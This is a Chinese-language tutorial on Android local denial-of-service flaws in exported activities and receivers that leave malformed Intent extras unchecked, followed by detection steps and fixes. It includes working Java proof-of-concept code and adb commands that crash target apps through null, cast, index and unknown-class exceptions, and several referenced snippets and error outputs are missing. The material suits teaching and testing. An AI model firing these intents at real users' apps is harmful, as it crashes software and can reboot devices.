一、前言
本地拒绝服务一般会导致正在运行的应用崩溃,首先影响用户体验,其次影响到后台的Crash统计数据,另外比较严重的后果是应用如果是系统级的软件,可能导致手机重启。
漏洞触发前提条件:
getIntent()的intent附带空数据、异常或畸形数据;
处理getXXXExtra()获取的数据时没有进行异常捕获;
二、漏洞原理
Android应用使用Intent机制在组件之间传递数据,如果应用在使用getIntent(),getAction,intent.getXXXExtra()获取到空、异常或畸形数据却没有进行异常捕获,应用就会发生Crash,从而拒绝服务。
三、漏洞POC
漏洞片段存在的activity的export属性必须为true才能够被外部应用调用攻击。正常情况下,该属性默认为false,如果有intent-filter属性,则其对应activity的export属性默认为true
1)NullPointerException异常导致的拒绝服务,源于程序没有对getAction()等获取到的数据进行空指针判断,从而导致空指针异常而导致应用崩溃。
漏洞应用代码片段():
攻击方式一:java攻击代码如下
Intent intent = new Intent(MainActivity.this, TestActivity.class);
startActivity(intent);
执行攻击代码所在activity,点击按钮,漏洞应用程序退出。
攻击方式二:adb 执行以下命令
可以看到漏洞应用崩溃退出。
报错如下:
同理,静态注册的broadcast如果也存在以上漏洞片段
攻击方式一:java攻击代码如下
Intent in = new Intent();
in.setComponent(new ComponentName("com.example.hello","com.example.hello.test.MyReciever"));//第一个参数是漏洞代码所在的包名,第二个参数是漏洞应用代码全包名
sendBroadcast(in);
方式二:adb检测执行如下命令:
2)ClassCastException异常导致的拒绝服务, 源于程序没有对getSerializableExtra()等获取到的数据进行类型判断而进行强制类型转换,从而导致类型转换异常而导致应用崩溃
漏洞应用代码片段
java攻击代码如下:
Intent i = new Intent();
i.setClassName("com.example.hello", "com.example.hello.TestActivity");//第一个参数是漏洞代码所在包名,第二个参数是漏洞应用代码所在全包名
i.putExtra("serializable_key", BigInteger.valueOf(1));
startActivity(i);
运行代码,漏洞应用崩溃,报错结果如下:
3)IndexOutOfBoundsException异常导致的拒绝服务,源于程序没有对getIntegerArrayListExtra()等获取到的数据数组元素大小的判断,从而导致数组访问越界而导致应用崩溃
漏洞应用代码片段
说明,这里,主要变量i小于一个常数,而我们的攻击代码使之能够越界即可。示例中能够get(0),而我们接下来的攻击代码则使得数组长度为0,根本没有元素,则会造成越界访问。
java攻击代码
Intent i = new Intent();
i.setClassName("com.example.hello", "com.example.hello.TestActivity");//第一个参数是漏洞代码所在包名,第二个参数为漏洞应用代码所在全包名
ArrayList<Integer> user_id = new ArrayList<Integer>();
i.putExtra("user_id", user_id);//只要让传入的链表长度为0即可
startActivity(i);
运行攻击代码,漏洞应用崩溃。报错如下:
4)ClassNotFoundException异常导致的拒绝服务,源于程序没有无法找到从getSerializableExtra ()获取到的序列化类对象的类定义,因此发生类未定义的异常而导致应用崩溃
漏洞应用代码片段
java攻击代码
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent i = new Intent();
i.setClassName("com.example.hello", "com.example.hello.TestActivity");//第一个参数是攻击代码所在包名,第二个参数是攻击代码全包名
i.putExtra("serializable_key", new SelfSerializableData());//注意这里的key值无需与漏洞应用代码中的key值对应
startActivity(i);
}
static class SelfSerializableData implements Serializable {
private static final long serialVersionUID = 42L;
public SelfSerializableData() {
super();
}
}
因为我们攻击代码中携带了SelfSerializableData类型的对象,而这个类在漏洞应用中是没有的,因此在漏洞应用代码中解析的时候,会报错。
运行攻击代码,漏洞应用崩溃,结果如下:
把我们的攻击代码写入MainActivity,生成poc.apk,包名为com.example.poc,然后运行如下adb命令也可以进行攻击
adb shell am start -n com.example.poc/.MainActivity -e com.example.hello -e com.example.hello.TestActivity
此时漏洞应用同样崩溃并报错。
四 漏洞检测
知道拒绝服务漏洞的原理之后,我们来看看怎么检测该漏洞以及其对应的难点。
1、首先我们要检测导出的组件有哪些(包含intent-filter属性的组件默认导出)
2、然后我们使用空intent去检测这些组件,针对不同组件可发送如下命令:
adb shell am start -n com.example.hello/.TestActivity
adb shell am startservice -n com.example.hello/.TestService
adb shell am broadcast -n com.example.hello/.TestReceiver
3、解析key值,空intent导致的拒绝服务只是一部分,还有类型转换异常,数组越界等,这些我们都需要找到其关键函数,检测其是否有异常保护。自动化测试工具在这里的难点是找到关键函数的key值,action值,以及key对应的类型等来组装命令进行攻击。
4、通用型拒绝服务是由于应用中使用了getSerializableExtra()的API却没有进行异常保护,攻击者可以传入序列化数据,导致应用本地拒绝服务。此时不管传入的key值是否相同,都会抛出类未定义异常,相比前面需要解析key,自动化测试的通用性提高很多。
针对这个常用的手工检测POC代码如下:
五 修复建议
1、将不必要导出的组件export属性设为false
2、在处理intent数据时捕获异常。
参考链接:
http://www.droidsec.cn/android-broadcast-security/
https://wenku.baidu.com/view/23ae6a43f111f18583d05a8e.html
https://wenku.baidu.com/view/f0d2fba23186bceb19e8bb89.html